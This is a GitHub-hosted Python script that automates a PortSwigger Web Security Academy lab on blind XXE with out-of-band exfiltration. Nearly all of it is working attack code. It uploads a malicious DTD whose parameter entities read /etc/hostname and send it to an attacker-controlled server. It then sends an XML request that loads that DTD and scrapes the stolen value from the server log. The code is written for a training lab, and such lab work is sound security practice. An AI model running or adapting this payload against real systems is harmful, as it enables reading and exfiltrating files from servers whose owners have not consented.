-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathexploit-lab05.py
More file actions
144 lines (128 loc) · 4.84 KB
/
exploit-lab05.py
File metadata and controls
144 lines (128 loc) · 4.84 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
# Blind XXE with out-of-band interaction via XML parameter entities
# https://portswigger.net/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration
import sys
import requests
import urllib3
import urllib.parse
import re
import time
import warnings
import argparse
warnings.filterwarnings("ignore", category=DeprecationWarning)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
##########################################################
# FUNCTIONS
##########################################################
def deliver_payload(s, url, payload, attacker):
post_exploit_path = attacker + '/'
post_exploit_data = {
"formAction": "STORE",
"urlIsHttps": "on",
"responseFile": "/exploit.dtd",
"responseHead": """HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8""",
"responseBody": payload
}
r1 = s.post(post_exploit_path, data=post_exploit_data)
time.sleep(2)
post_exploit_data = {
"formAction": "DELIVER_TO_VICTIM",
"urlIsHttps": "on",
"responseFile": "/exploit.dtd",
"responseHead": """HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8""",
"responseBody": payload
}
r2 = s.post(post_exploit_path, data=post_exploit_data)
time.sleep(1)
print('\n[+] Targeted endpoint or query parameter:\n %s' % url)
print('\n[+] Using payload:\n%s' % payload)
print('\n[+] Delivered to the victim via:\t%s' % post_exploit_path + post_exploit_data['responseFile'])
return r2
def store_exploit(s, url, attacker):
payload = """<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM '""" + attacker + """/?f=%file;'>">
%eval;
%exfil;
"""
r = deliver_payload(s, url, payload, attacker)
time.sleep(1)
return r
def submit_hostname(s, url, hostname):
print('[+] Trying to submit the hostname to solve the lab...')
submit_path = url + '/submitSolution'
submit_data = {"answer": hostname}
r = s.post(submit_path, data=submit_data)
return r
def get_hostname_xxe(s, url, attacker):
check_stock_path = url + '/product/stock'
exploit_body = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Gwyo [ <!ENTITY % xxe SYSTEM \"""" + attacker + """/exploit.dtd"> %xxe;]><stockCheck><productId>15</productId><storeId>3</storeId></stockCheck>"""
print('\n[+] Using payload:\n%s' % exploit_body)
headers = {"Content-Type": "application/xml"}
print('[+] Using payload:\t%s' % exploit_body)
print('[+] Using headers:\t%s' % headers)
r = s.post(check_stock_path, data=exploit_body, headers=headers)
time.sleep(2)
res = r.text
print(res)
r = s.get(attacker + '/log')
time.sleep(1)
file_string = re.search("/?f=(.*) HTTP", r.text).group(1)
print('[+] Found /etc/hostname file:\n%s' % file_string)
return file_string
def find_exploit_srv(r):
if re.search(r"href='(.*)'>Go to exploit server", r.text):
srv = re.search(r"href='(.*)'>Go to exploit server", r.text).group(1)
print('[+] Found Exploit server:\n\t%s' % srv)
return srv
else:
print("[-] Didn't find exploit server on the home page <!>")
sys.exit(1)
##########################################################
# MAIN
##########################################################
def main():
print('[+] Lab: Blind XXE with out-of-band interaction via XML parameter entities')
parser = argparse.ArgumentParser(description="[+] Lab: Blind XXE with out-of-band interaction via XML parameter entities")
parser.add_argument('-U',dest='url',required=True, help="Target URL")
args = parser.parse_args()
parsed_url = urllib.parse.urlparse(args.url)
host = parsed_url.netloc
print(parsed_url)
url = parsed_url.scheme + '://' + host
s = requests.Session()
s.proxies = proxies # Comment this line to disable proxying
s.verify = False
try:
r = s.get(url, allow_redirects=False)
exploit_srv = find_exploit_srv(r)
attacker = urllib.parse.urlparse(exploit_srv).scheme + "://" + urllib.parse.urlparse(exploit_srv).netloc
time.sleep(1)
if '<h1>Error</h1>' in r.text or 'Server Error: Gateway Timeout' in r.text:
print('\n[-] HOST seems to be down <!>')
sys.exit(-1)
else:
print("[+] Trying to store exploit.dtd file on the exploit-server...")
r = store_exploit(s, url, attacker)
time.sleep(2)
print("[+] Trying to send a XXE attack to force the target to send the content of /etc/hostname...")
hostname = get_hostname_xxe(s, url, attacker)
time.sleep(1)
r = submit_hostname(s, url, hostname)
s.cookies.clear()
s.headers.clear()
time.sleep(5)
r = s.get(url, allow_redirects=False)
time.sleep(1)
if r.status_code == 200 and 'Congratulations, you solved the lab!' in r.text:
print('[+] The lab is solved !')
elif r.status_code == 200:
print('[+] The Exploit sent the given payload !')
except requests.exceptions.ProxyError:
print('[-] PROXY seems to be missconfigured <!>')
except KeyboardInterrupt:
sys.exit(0)
if __name__ == "__main__":
main()